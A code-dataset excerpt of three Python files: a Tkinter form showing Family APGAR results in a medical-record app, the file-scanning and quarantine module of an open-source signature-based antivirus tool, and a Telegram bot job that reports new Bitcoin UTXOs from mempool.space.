self.controller.patient_id.get()))\n\t\t\tmydb.commit()\n\n\t\tself.res_bttn.config(state = \"normal\")\n\nclass family_apgar_form_res(tk.Frame): # Form for viewing of previous Family APGAR results only\n\n\tdef __init__(self, parent, controller):\n\t\ttk.Frame.__init__(self, parent)\n\t\tself.controller = controller\n\t\tmenu_frame(self, self.controller, 4)\n\t\tsubmenu_buttons_2(self, self.controller, 2)\n\n\t\tself.title_font = tkfont.Font(family='Times New Roman', size=12, weight=\"bold\")\n\t\tself.subtitle_font = tkfont.Font(family='Helvetica', size=12, weight=\"bold\")\n\t\tself.label_font = tkfont.Font(family='Helvetica', size=8, slant=\"italic\")\n\t\tself.label_font2 = tkfont.Font(family='Helvetica', size=8, weight=\"bold\")\n\t\tself.label_font3 = tkfont.Font(family='Helvetica', size=10, weight=\"bold\", slant=\"italic\")\n\n\t\tform_frame = tk.Frame(self, height = 720, width = 1000)\n\t\tform_frame.pack(side=\"left\")\n\n\t\tquestion_label = tk.Label(form_frame, text=\"Results of the Previous APGAR\", font=self.subtitle_font)\n\t\tquestion_label.place(x=110, y=60)\n\n\t\ty_value = 70\n\n\t\tfam_num_1_label = tk.Label(form_frame, text=\"Family Member 1: \", font=self.label_font3, fg =\"#636362\")\n\t\tfam_num_1_label.place(x=110, y=100)\n\n\t\tfam_num_2_label = tk.Label(form_frame, text=\"Family Member 2: \", font=self.label_font3, fg =\"#636362\")\n\t\tfam_num_2_label.place(x=110, y=150)\n\n\t\taverage_label = tk.Label(form_frame, text=\"Average: \", font=self.label_font3, fg =\"#636362\")\n\t\taverage_label.place(x=110, y=200)\n\n\t\tself.fam_num_1_score = tk.Label(form_frame, text=\"\", font=self.title_font)\n\t\tself.fam_num_1_score.place(x=280, y=100)\n\n\t\tself.fam_num_2_score = tk.Label(form_frame, text=\"\", font=self.title_font)\n\t\tself.fam_num_2_score.place(x=280, y=150)\n\n\t\tself.average_score = tk.Label(form_frame, text=\"\", font=self.title_font)\n\t\tself.average_score.place(x=280, y=200)\n\n\t\tself.res_bttn = tk.Button(form_frame, text=\"Return\", command=lambda: controller.show_frame(\"family_apgar_form\"), height = 1, width = 12, bd = 0, bg = \"#183873\", fg = \"#ffffff\")\n\t\tself.res_bttn.place(x=820, y=580)\n\n\tdef load_data(self):\n\t\tcn = cfg.dbconnect()\n\t\tcur = cn.cursor(buffered=True)\n\t\t\n\t\tself.fam_num_1_score['text'] = \"\"\n\t\tself.fam_num_2_score['text'] = \"\"\n\t\tself.average_score['text'] = \"\"\n\n\t\tcur.execute((\"SELECT fam_1_apgar_score, fam_2_apgar_score, avg_apgar_score FROM patientfamassessment WHERE patient_id = %s\"), (self.controller.patient_id.get(),))\n\t\tres = cur.fetchone()\n\n\t\tif res is not None:\n\t\t\tif res[0] is not None:\n\t\t\t\tif int(res[0]) <= 3:\n\t\t\t\t\tself.fam_num_1_score['text'] = str(res[0]) +\" - Severely dysfunctional\" \n\t\t\t\telif int(res[0]) <= 6:\n\t\t\t\t\tself.fam_num_1_score['text'] = str(res[0]) + \" - Moderately dysfunctional\" \n\t\t\t\telse:\n\t\t\t\t\tself.fam_num_1_score['text'] = str(res[0]) + \" - Highly functional\"\n\n\t\t\tif res[1] is not None:\n\t\t\t\tif int(res[1]) <= 3:\n\t\t\t\t\tself.fam_num_2_score['text'] = str(res[1]) +\" - Severely dysfunctional\" \n\t\t\t\telif int(res[1]) <= 6:\n\t\t\t\t\tself.fam_num_2_score['text'] = str(res[1]) + \" - Moderately dysfunctional\" \n\t\t\t\telse:\n\t\t\t\t\tself.fam_num_2_score['text'] = str(res[1]) + \" - Highly functional\"\n\n\t\t\tif res[2] is not None:\n\t\t\t\tif int(res[2]) <= 3:\n\t\t\t\t\tself.average_score['text'] = str(res[2]) +\" - Severely dysfunctional\" \n\t\t\t\telif int(res[2]) <= 6:\n\t\t\t\t\tself.average_score['text'] = str(res[2]) + \" - Moderately dysfunctional\" \n\t\t\t\telse:\n\t\t\t\t\tself.average_score['text'] = str(res[2]) + \" - Highly functional\"\t\n\t\telse:\n\t\t\tself.fam_num_1_score['text'] = \"\"\n\t\t\tself.fam_num_2_score['text'] = \"\"\n\t\t\tself.average_score['text'] = \"\"\n","repo_name":"jioGRAPHI/Family-Oriented-Medical-Record","sub_path":"forms/family_assessment_tools.py","file_name":"family_assessment_tools.py","file_ext":"py","file_size_in_byte":26995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"11616139357","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport json\nimport shutil\nimport pathlib\nimport binascii\nimport threading\nimport platform\n\nfrom stat import (\n S_IREAD,\n S_IRGRP,\n S_IROTH\n)\n\nimport termcolor\n\nfrom penne.lib.settings import (\n log,\n beep,\n get_hash,\n DEFAULT_MOVE_DIRECTORY,\n COMPLETED_RESULTS,\n FINISHED_FILES_JSON_LIST,\n random_string,\n pause,\n WORKERS,\n StoppableThread,\n yara_checker,\n sort_yara_rule_output,\n load_user_defined,\n contains\n)\nfrom penne.quarantine.noodler import (\n spicy_file,\n check_prem\n)\nfrom penne.quarantine.db_create import pull_sig\n\n\ndef walk(top, threads=12):\n if not os.path.isdir(top):\n yield None\n lock = threading.Lock()\n on_input = threading.Condition(lock)\n on_output = threading.Condition(lock)\n state = {'tasks': 1}\n paths = [top]\n output = []\n\n def worker():\n while True:\n with lock:\n while True:\n if not state['tasks']:\n output.append(None)\n on_output.notify()\n return\n if not paths:\n on_input.wait()\n continue\n path = paths.pop()\n break\n try:\n dirs = []\n files = []\n for item in sorted(os.listdir(path)):\n subpath = os.path.join(path, item)\n if os.path.isdir(subpath):\n dirs.append(item)\n with lock:\n state['tasks'] += 1\n paths.append(subpath)\n on_input.notify()\n else:\n files.append(item)\n with lock:\n output.append((path, dirs, files))\n on_output.notify()\n except OSError:\n pass\n finally:\n with lock:\n state['tasks'] -= 1\n if not state['tasks']:\n on_input.notifyAll()\n\n tmp_worker = [StoppableThread(target=worker, name=\"penneio.stoppable.walk %d %s\" % (i, top)) for i in range(threads)]\n for w in tmp_worker:\n WORKERS.append(w)\n for w in WORKERS:\n w.start()\n while threads or output:\n with lock:\n while not output:\n on_output.wait()\n item = output.pop()\n if item:\n yield item\n else:\n threads -= 1\n\n\ndef do_yara_rule_check(filename):\n results = check_prem()\n if results[\"Success\"]:\n results = yara_checker(results[\"Endpoint\"], filename, results[\"API_KEY\"])\n else:\n results = {\"yara_rules\": []}\n return results\n\n\ndef do_quarn(f, detection_type, arch, detected_as):\n parts = pathlib.Path(f)\n filename = parts.name\n path = parts.parent\n quarantine_results = spicy_file(path, filename, detection_type, arch, detected_as)\n if quarantine_results[\"Success\"]:\n log.info(\"file sent to cold storage at: {}\".format(quarantine_results[\"ColdFile\"]))\n else:\n log.warn(\"we were unable to send file to cold storage\")\n\n\ndef run_user_defined(filename, user_defined_list):\n signature_list = user_defined_list\n for signature in signature_list:\n with open(signature) as sig, open(filename, \"rb\") as src:\n data = sig.read().split(\":\")\n _, type_, bytes_read, os_filler, signature_ = data[0], data[1], int(data[2]), data[3], data[4]\n src_data = binascii.hexlify(src.read(bytes_read))\n if src_data == signature_:\n return os_filler, get_hash(filename), type_\n return None\n\n\ndef check_signature(filename, do_beep=True, user_defined_list=[]):\n byte_sizes = (1024, 2048, 4096)\n with open(filename, \"rb\") as f:\n for b in byte_sizes:\n data = binascii.hexlify(f.read(b)).decode()\n matches = pull_sig(data, b)\n if matches['Success']:\n if do_beep:\n beep()\n termcolor.cprint(\n \"\\nMatch found:\\nPath: {}\\nOS Type: {}\\nSHA-256: {}\\nWarning Type: {}\\n\".format(\n filename, matches['OS'], matches['Hash'], matches['Warning']\n )\n )\n retval = [True, matches[\"Warning\"]]\n else:\n results = run_user_defined(filename, user_defined_list)\n if results is not None:\n termcolor.cprint(\n \"\\nUser Defined Match found:\\nPath: {}\\nOS Type: {}\\nSHA-256: {}\\nWarning Type: {}\\n\".format(\n filename, results[0], results[1], results[-1]\n )\n )\n retval = [True, results[-1]]\n else:\n retval = [False, None]\n return retval\n\n\ndef move_detected_file(source, detection, detected_as=\"EVIL AF\"):\n architecture = platform.architecture()\n file_dest_hash = get_hash(source)\n file_dest_path = \"{}/{}_{}\".format(DEFAULT_MOVE_DIRECTORY, file_dest_hash, random_string(length=30))\n try:\n shutil.move(source, file_dest_path)\n except:\n log.warning(\"unable to move file, going to copy it instead and change originals permissions to read only\")\n shutil.copy(source, file_dest_path)\n try:\n os.chmod(source, S_IREAD | S_IRGRP | S_IROTH)\n except:\n log.error(\"unable to change original source files permissions ({})\".format(source))\n try:\n os.chmod(file_dest_path, S_IREAD | S_IRGRP | S_IROTH)\n except:\n log.warn(\"unable to change file attributes to read only\")\n do_quarn(source, detection, architecture, detected_as)\n return file_dest_path\n\n\ndef finish_scan():\n\n def percent(part, whole):\n try:\n try:\n return str(100 * part/whole)[0:5]\n except:\n return 100 * part/whole\n except ZeroDivisionError:\n return 0\n\n def show_opts():\n retval = \"\"\n if len(COMPLETED_RESULTS[\"infected_files\"]) != 0:\n retval += \"to see the list of infected files run: penneav --infected\\n\"\n if len(COMPLETED_RESULTS[\"moved_files\"]) != 0:\n retval += \"to see the files that were moved run: penneav --moved\\n\"\n if len(COMPLETED_RESULTS[\"unable_to_scan\"]) != 0:\n retval += \"to see files that were unable to be scanned run: penneav --unable\\n\"\n if len(COMPLETED_RESULTS[\"unable_to_cold_store\"]) != 0:\n retval += \"to see the files that failed cold storage run: penneav --failed\\n\"\n return retval\n\n if not os.path.exists(FINISHED_FILES_JSON_LIST):\n attribute = \"a+\"\n else:\n attribute = \"w\"\n percentage = percent(COMPLETED_RESULTS[\"total_scanned\"], COMPLETED_RESULTS[\"total_found\"])\n with open(FINISHED_FILES_JSON_LIST, attribute) as res:\n data = {\n \"infected\": COMPLETED_RESULTS[\"infected_files\"],\n \"unable\": COMPLETED_RESULTS[\"unable_to_scan\"],\n \"moved\": COMPLETED_RESULTS[\"moved_files\"],\n \"failed\": COMPLETED_RESULTS[\"unable_to_cold_store\"]\n }\n json.dump(data, res)\n log.info(\"scanning finished\")\n termcolor.cprint(\n \"\\n\\nSCAN RESULTS:\\n\"\n \"{}\\n\"\n \"FINISHED SCANNING: {}\\n\"\n \"FILES MOVED: {}\\n\"\n \"UNABLE TO BE SCANNED: {}\\n\"\n \"INFECTED FILES FOUND: {}\\n\"\n \"FAILED COLD STORAGE: {}\\n\"\n \"TOTAL AMOUNT OF FILES FOUND DURING SCAN: {}\\n\"\n \"PERCENT THAT FINISHED SCANNING: {}%\"\n \"\\n{}\\n\"\n \"\\n\"\n \"{}\".format(\n \"-\" * 47,\n COMPLETED_RESULTS[\"total_scanned\"],\n len(COMPLETED_RESULTS[\"moved_files\"]),\n len(COMPLETED_RESULTS[\"unable_to_scan\"]),\n len(COMPLETED_RESULTS[\"infected_files\"]),\n len(COMPLETED_RESULTS[\"unable_to_cold_store\"]),\n COMPLETED_RESULTS[\"total_found\"],\n percentage,\n \"-\" * 47, show_opts()\n ), \"green\", attrs=[\"bold\"]\n )\n\n\ndef scan(start_dir, **kwargs):\n do_beep = kwargs.get(\"do_beep\", True)\n display_only_infected = kwargs.get(\"display_only_infected\", False)\n threads = kwargs.get(\"threads\", 12)\n move_detected = kwargs.get(\"move_detected\", False)\n follow_syms = kwargs.get(\"follow_sym\", False)\n ignored_dirs = kwargs.get(\"ignored_dirs\", [])\n ignored_files = kwargs.get(\"ignored_files\", [])\n display_yara_rules = kwargs.get(\"display_yara_rules\", True)\n skip_yara_rules = kwargs.get(\"skip_yara_rules\", False)\n\n if skip_yara_rules:\n display_yara = False\n else:\n display_yara = True\n\n walked_paths = walk(start_dir, threads=threads)\n \n user_defined = load_user_defined()\n log.info(\"loaded a total of {} user defined signature(s)\".format(len(user_defined)))\n\n for data in walked_paths:\n root, subs, files = data[0], data[1], data[-1]\n paths = [\n os.path.join(root, f) for f in files if f not in ignored_files\n ]\n for path in paths:\n if not contains(path, ignored_dirs):\n try:\n COMPLETED_RESULTS[\"total_found\"] += 1\n try:\n if not display_only_infected:\n log.debug(\"scanning file: {}\".format(path))\n if follow_syms:\n if os.path.islink(path):\n if not display_only_infected:\n log.info(\"found symlink and following\")\n path = os.path.realpath(path)\n if not display_only_infected:\n log.debug(\"real path from symlink: {}\".format(path))\n results = check_signature(path, do_beep=do_beep, user_defined_list=user_defined)\n if results[0]:\n yara_rule_results = do_yara_rule_check(path)\n if len(yara_rule_results[\"yara_rules\"]) != 0:\n log.info(\"file information discovered:\\n{}\".format(\"-\" * 30))\n if display_yara_rules:\n for item in yara_rule_results[\"yara_rules\"]:\n sort_yara_rule_output(item, display_yara_data=display_yara)\n print(\"-\" * 30)\n COMPLETED_RESULTS[\"infected_files\"].append(path)\n if move_detected:\n moved_to = move_detected_file(path, results[1])\n log.info(\"file marked to be moved and moved to: {}\".format(moved_to))\n COMPLETED_RESULTS[\"moved_files\"].append(path)\n COMPLETED_RESULTS[\"total_scanned\"] += 1\n except Exception:\n if not display_only_infected:\n log.error(\"unable to finish file scanning on filename: {}\".format(path))\n COMPLETED_RESULTS[\"unable_to_scan\"].append(path)\n except KeyboardInterrupt:\n results = pause(filename=path)\n if results:\n continue\n else:\n pass\n else:\n pass\n","repo_name":"Penetrum-Security/Penne","sub_path":"penne/scanning/scanner.py","file_name":"scanner.py","file_ext":"py","file_size_in_byte":11638,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"44"} +{"seq_id":"21002818946","text":"import requests\nimport logging\nimport os\n\nfrom models.bitcoin.address_utxo_status import BitcoinAddressUtxoStatus\nfrom models.bitcoin.address_utxo import BitcoinAddressUtxo\nfrom models.bitcoin.address import BitcoinAddress\nfrom telegram.constants import ParseMode\n\nlogger = logging.getLogger(__name__)\nBASE_URL = \"https://mempool.space/api/\"\n\nasync def get_bitcoin_address_utxo(context):\n logger.info(f\"Fetching bitcoin address utxo's\")\n\n bitcoin_addresses = BitcoinAddress.select()\n if len(bitcoin_addresses) < 1:\n logger.info(f\"No bitcoin addressses defined\")\n return\n for address in bitcoin_addresses:\n\n url = f\"{BASE_URL}/addresss/{address.bitcoin_address}/utxo\"\n try:\n response = requests.get(url)\n\n if response.status_code == 200:\n json_response = response.json()\n\n for obj in json_response:\n if not BitcoinAddressUtxo.select().where(BitcoinAddressUtxo.transaction_id == obj['txid']).exists():\n status = obj['status']\n bitcoin_address_utxo_status = BitcoinAddressUtxoStatus.create(\n confirmed = status['confirmed'] ,\n block_height = status['block_height'],\n block_hash = status['block_hash'],\n block_time = status['block_time']\n )\n bitcoin_address_utxo_status.save()\n bitcoin_address_utxo = BitcoinAddressUtxo.create(\n transaction_id = obj['txid'],\n v_out = obj['vout'],\n value = obj['value'],\n status = bitcoin_address_utxo_status.id\n )\n\n bitcoin_address_utxo.save()\n response = f\"New utxo found:\\n{bitcoin_address_utxo.transaction_id}\"\n\n await context.bot.send_message(\n chat_id = os.getenv(\"CHAT_ID\", None),\n text = response,\n parse_mode = ParseMode.HTML\n )\n else:\n logger.error(f\"Response.status_code for {url} was {response.status_code}\")\n except Exception as exc:\n logger.error(exc, exc_info=True)","repo_name":"dsaltyfrere/crypto-telegram-bot","sub_path":"jobs/bitcoin/get_bitcoin_address_utxo.py","file_name":"get_bitcoin_address_utxo.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} diff --git a/4731.jsonl b/4731.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/4735.jsonl b/4735.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/4738.jsonl b/4738.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/474.jsonl b/474.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/4741.jsonl b/4741.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/4742.jsonl b/4742.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/4743.jsonl b/4743.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/4751.jsonl b/4751.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/4752.jsonl b/4752.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/4753.jsonl b/4753.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..ddd9e73667ee04ae4602e0cf006db7379df4428b --- /dev/null +++ b/4753.jsonl @@ -0,0 +1,666 @@ +{"seq_id":"404422817","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 15 15:50:48 2016\n\n@author: yanhan\n\"\"\"\n\nimport matplotlib.pyplot as plt\nfrom scipy.stats import f_oneway\nimport re,string\nimport pypinyin\nimport numpy as np\nimport pandas as pd\nfrom pandas import DataFrame\nimport cPickle as pickle\n# from ggplot import *\nimport seaborn as sns\nfrom collections import OrderedDict\n\n#import sys\n#reload(sys)\n#sys.setdefaultencoding('utf8')\n\nsns.set_context(\"paper\")\nsns.set(font_scale = 1.5)\nsns.set_style('whitegrid')\nsns.set_palette(sns.light_palette(\"black\", 3))\n#sns.palplot(sns.color_palette())\n\nplt.rcParams['font.family'] = ['SimHei'] #'Microsoft Jhenghei', 'BiauKai\nplt.rcParams['font.sans-serif'] = ['SimHei'] #'BiauKai'\nplt.rcParams['axes.unicode_minus'] = False\nsns.axes_style()\n\npd.set_option('display.encoding', 'utf8')\n\ndef fun_mean(x):\n return(np.around(np.mean(x),2))\ndef fun_std(x):\n return(np.around(np.std(x),2))\ndef fun_se(x):\n return(np.around(np.std(x)/np.sqrt(len(x)),2))\n\nsubjects = pd.read_excel('資料蒐集表(Data Collection Sheet).xlsx')\n\nerror_dict = {0:u'正確',\n 1:u'右部件的字音',\n 2:u'含相同右部件的鄰居字的讀音',\n 3:u'左部件的字音',\n 4:u'含相同左部件的鄰居字的讀音',\n 5:u'與目標字常常同時出現的字的讀音',\n 6:u'形近字的讀音',\n 7:u'其他',\n 8:u'無反應',\n 9:u'右部件形近字的讀音',\n 10:u'含有右部件形近字的字的讀音'}\nerror_list = pd.Series([0,1,2,9,10,3,4,5,6,7,8]).map(lambda x:error_dict[x])\n\n#sub_group = {1:'Elementary',\n# 2:'Intermediate',\n# 3:'Advanced'}\n \n#sub_diff = {'diff':'Low Frequency',\n# 'easy':'High Frequency'}\n \n#sub_regu = {'regu':'Regular',\n# 'irre':'Irregular'}\n \n#sub_pv = {'low':'Low',\n# 'medium':'Medium',\n# 'high':'High'}\n \nsub_group = OrderedDict([(1,'Elementary'),\n (2,'Intermediate'),\n (3,'Advanced')]) \n \nsub_diff = OrderedDict([('diff','Low Frequency'),\n ('easy','High Frequency')])\n \nsub_regu = OrderedDict([('irre','Irregular'),\n ('regu','Regular')]) \n \nsub_pv = OrderedDict([('low','Low'),\n ('medium','Medium'),\n ('high','High')])\n \nsub_level = ['Low Know Rate','Medium Know Rate', 'High Know Rate']\n \n","sub_path":"modules.py","file_name":"modules.py","file_ext":"py","file_size_in_byte":2517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"477041503","text":"import threading\n\nTHREADS = 2\nMAX_COUNT = 1000000\n\ncounter = 0\n\n\ndef cuenta():\n global counter\n\n for i in range(int(MAX_COUNT/THREADS)):\n counter += 1\n\n\nthreads = []\n\nfor i in range(THREADS):\n t = threading.Thread(target=cuenta)\n threads.append(t)\n t.start()\n\nfor t in threads:\n t.join()\n\nprint(f\"Valor del contador: {counter}\")\n\n","sub_path":"contadorConcurrente.py","file_name":"contadorConcurrente.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"347191658","text":"\"\"\"\nPython makes performing file I/O simple. Take a look\nat how to read and write to files here:\n\nhttps://docs.python.org/3/tutorial/inputoutput.html#reading-and-writing-files\n\"\"\"\n\n# Open up the \"foo.txt\" file (which already exists) for reading\n# Print all the contents of the file, then close the file\n# Note: pay close attention to your current directory when trying to open \"foo.txt\"\n\n# YOUR CODE HERE\ndef print_text(txt):\n file = open(txt, \"r\")\n content = file.read()\n file.close()\n print(content)\n\nprint_text(\"foo.txt\")\n\n# Open up a file called \"bar.txt\" (which doesn't exist yet) for\n# writing. Write three lines of arbitrary content to that file,\n# then close the file. Open up \"bar.txt\" and inspect it to make\n# sure that it contains what you expect it to contain\n\n# YOUR CODE HERE\ndef write_text(txt):\n file2 = open(txt, \"w\")\n file2.write(\"Contrary to popular belief,\\nLorem Ipsum is not\\nsimply random text.\")\n file2.close()\n\nwrite_text(\"bar.txt\")\n","sub_path":"src/13_file_io.py","file_name":"13_file_io.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"217632001","text":"# problem: ordina_x, Romeo Rizzi Mar 2015\n\nimport sys\n\nnBalls = 0\nnPesate = 0\nmaxPesate = 0\nsubtask = 0\nrseed = 0\noutfile = None\n\norder = None\n\nRAND_MAX = 0x7fffffff\n\n\ndef rand_cp():\n global rseed\n rseed = (rseed * 1103515245 + 12345) & RAND_MAX\n return rseed\n\n\ndef generaPerm_random_uniform(perm, n):\n for i in range(n):\n perm[i] = i\n for i in reversed(range(1, n)):\n j = rand_cp() % i\n perm[i], perm[j] = perm[j], perm[i]\n\n\ndef bigliaIntermedia(bigliaA, bigliaB, bigliaC):\n global nPesate\n\n nPesate += 1\n\n if order[bigliaA] >= order[bigliaB]:\n if order[bigliaB] >= order[bigliaC]:\n return bigliaB\n if order[bigliaA] <= order[bigliaC]:\n return bigliaA\n return bigliaC\n else:\n if order[bigliaB] <= order[bigliaC]:\n return bigliaB\n if order[bigliaA] >= order[bigliaC]:\n return bigliaA\n return bigliaC\n\n\ndef consegnaBiglieInOrdine(biglia_in_pos):\n global nBalls, order, outfile, nPesate, maxPesate\n well_ordered = True\n for i in range(nBalls):\n if (order[biglia_in_pos[i]] != i) and (order[biglia_in_pos[i]] != nBalls - i - 1):\n well_ordered = False\n\n print(\"%d %d %d\" % (well_ordered, nPesate, maxPesate), file=outfile)\n # only for debugging\n # for i in range(nBalls):\n # print(file, \"%ld \", order[i])\n # print(file, \"\\n\")\n # for i in range(nBalls):\n # print(file, \"%ld \", biglia_in_pos[i])\n sys.exit(0)\n\n\ndef ottieni_num_balls():\n global nBalls, rseed, outfile, maxPesate, order\n\n infile = open(\"input.txt\", \"r\")\n # infile = sys,stdin;\n\n (nBalls, subtask, seed) = [int(x.strip()) for x in infile.read().split()]\n infile.close()\n\n LOG_UP = 1\n guy = 2\n while guy < nBalls:\n LOG_UP += 1\n guy *= 2\n\n order = [0] * nBalls\n\n rseed = seed\n generaPerm_random_uniform(order, nBalls) # genera permutazione\n\n outfile = open(\"output.txt\", \"w\")\n # outfile = sys.stdout\n\n maxPesate = 1000 * nBalls * nBalls\n\n if subtask == 1:\n for i in range(nBalls):\n order[i] = i\n elif subtask == 2:\n for i in range(nBalls):\n order[i] = nBalls - i - 1\n elif subtask == 5:\n maxPesate = nBalls * (nBalls - 1) / 2\n elif subtask == 6:\n maxPesate = 3 * nBalls * LOG_UP\n elif subtask == 7:\n maxPesate = nBalls + nBalls * (LOG_UP)\n\n return nBalls\n","sub_path":"mediana_x/sol/grader.py","file_name":"grader.py","file_ext":"py","file_size_in_byte":2434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"2793020","text":"# -*- coding: utf-8 -*-\n\nimport ripcord\n\nclass Fixtures(ripcord.Client):\n def __init__(self, **kwargs):\n super(Fixtures, self).__init__(**kwargs)\n\n self.baseurl = 'http://httpbin.org/'\n\n self.add_extra_params({\n 'token': 'a-random-token',\n 'foo': 'oof',\n 'bar': 'rab',\n 'merp': 'prem',\n 'flakes': 'sekalf'\n })\n\n def simulate_status_code(self, status_code):\n self.namespace = 'status'\n return self.get(str(status_code))","sub_path":"tests/fixtures.py","file_name":"fixtures.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"61368521","text":"\"\"\"\nThis code is designed to convert a fits file trace into a normalized reflectance spectrum using a solar analog.\nDate:05/21/19\n\"\"\"\n\nfrom astropy.io import fits\nfrom astropy.wcs import WCS\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as ticker\nimport numpy as np\nimport csv\nimport argparse\nimport re\n\n\ndef read_mean_tax():\n mean_spec_file = 'mean_spec/busdemeo-meanspectra.csv'\n with open(mean_spec_file, newline='') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n line_count = 0\n spec_dict = {}\n for row in csv_reader:\n if line_count == 1:\n header = row\n for head in header:\n spec_dict[head] = []\n line_count += 1\n elif line_count > 1:\n for i, r in enumerate(row):\n spec_dict[header[i]].append(float(r))\n line_count += 1\n else:\n line_count += 1\n return spec_dict\n\n\ndef stand_plot(ax, stand_tax):\n spec_dict = read_mean_tax()\n lam = np.array(spec_dict['Wavelength'])\n lam *= 10000\n for tax in stand_tax:\n tax = tax.lower().capitalize()\n tax_mean = tax+'_Mean'\n tax_sig = tax+'_Sigma'\n try:\n yyy = np.array(spec_dict[tax_mean])\n yyy_error = np.array(spec_dict[tax_sig])\n except KeyError:\n print(\"No such taxonomy as {}.\".format(tax))\n continue\n y_err_upper = yyy + yyy_error\n y_err_lower = yyy - yyy_error\n\n test = [j for j, x in enumerate(lam) if 3500 < x < 10500]\n\n color = next(ax._get_lines.prop_cycler)['color']\n ax.plot(lam[test], y_err_upper[test], linestyle=\":\", color=color, alpha=.5)\n ax.plot(lam[test], y_err_lower[test], linestyle=\":\", color=color, alpha=.5)\n ax.plot(lam[test], yyy[test], color=color, label=tax_mean, alpha=.5)\n\n\ndef smooth(x, window_len=11, window='hanning'):\n \"\"\"smooth the data using a window with requested size.\n\n This method is based on the convolution of a scaled window with the signal.\n The signal is prepared by introducing reflected copies of the signal\n (with the window size) in both ends so that transient parts are minimized\n in the begining and end part of the output signal.\n\n input:\n x: the input signal\n window_len: the dimension of the smoothing window; should be an odd integer\n window: the type of window from 'flat', 'hanning', 'hamming', 'bartlett', 'blackman'\n flat window will produce a moving average smoothing.\n\n output:\n the smoothed signal\n\n example:\n\n t=linspace(-2,2,0.1)\n x=sin(t)+randn(len(t))*0.1\n y=smooth(x)\n\n see also:\n\n numpy.hanning, numpy.hamming, numpy.bartlett, numpy.blackman, numpy.convolve\n scipy.signal.lfilter\n\n TODO: the window parameter could be the window itself if an array instead of a string\n NOTE: length(output) != length(input), to correct this: return y[(window_len/2-1):-(window_len/2)] instead of just y.\n \"\"\"\n\n if len(x) < window_len:\n raise ValueError(\"Input vector needs to be bigger than window size.\")\n\n if window_len < 3:\n return x\n\n if window_len % 2 != 0:\n window_len += 1\n\n if window not in ['flat', 'hanning', 'hamming', 'bartlett', 'blackman']:\n raise ValueError(\"Window is on of 'flat', 'hanning', 'hamming', 'bartlett', 'blackman'\")\n\n s = np.r_[x[window_len-1:0:-1], x, x[-2:-window_len-1:-1]]\n # print(len(s))\n if window == 'flat': # moving average\n w = np.ones(window_len, 'd')\n else:\n w = eval('np.'+window+'(window_len)')\n\n y = np.convolve(w/w.sum(), s, mode='valid')\n\n return y[(window_len // 2 - 1):-(window_len // 2)]\n\n\ndef pull_data_from_spectrum(spectra):\n try:\n hdul = fits.open(spectra)\n except FileNotFoundError:\n print(\"Cannot find file {}\".format(spectra))\n return None, None, None\n\n data = hdul[0].data\n hdr = hdul[0].header\n\n yyy = data[0][0]\n w = WCS(hdr, naxis=1, relax=False, fix=False)\n lam = w.wcs_pix2world(np.arange(len(yyy)), 0)[0]\n\n return lam, yyy, hdr\n\n\ndef pull_data_from_text(spectra):\n f = open(spectra)\n lines = f.readlines()\n xxx = []\n yyy = []\n print(len(lines))\n for line in lines:\n try:\n chunks = line.split(' ')\n chunks = list(filter(None, chunks))\n xxx.append(float(chunks[0])*10000)\n yyy.append(float(chunks[1])+.85)\n except ValueError:\n continue\n return xxx, yyy\n\n\ndef spectrum_plot(spectra, ax, data_set, analog=None, offset=0):\n windows = ['flat', 'hanning', 'hamming', 'bartlett', 'blackman']\n spec_x, spec_y, spec_header = pull_data_from_spectrum(spectra)\n if spec_y is None:\n return ax, None, None\n\n box = 100\n\n if analog:\n analog_x, analog_y, analog_header = pull_data_from_spectrum(analog)\n if analog_y is None:\n spec_y = [x / (10 ** 20) for x in spec_y]\n yyy = spec_y\n analog = None\n else:\n spec_y_sm = smooth(spec_y, box, windows[1])\n analog_y_sm = smooth(analog_y, box, windows[1])\n yyy = [s / a for s, a in zip(spec_y_sm, analog_y_sm)]\n else:\n spec_y = [x / (10 ** 20) for x in spec_y]\n yyy = spec_y\n\n if not data_set:\n if analog:\n data_set = \"{} -- {} -- {}\".format(spec_header['OBJECT'], analog_header['OBJECT'], spec_header['DAY-OBS'])\n else:\n data_set = \"{} -- {}\".format(spec_header['OBJECT'], spec_header['DAY-OBS'])\n elif data_set.upper() == 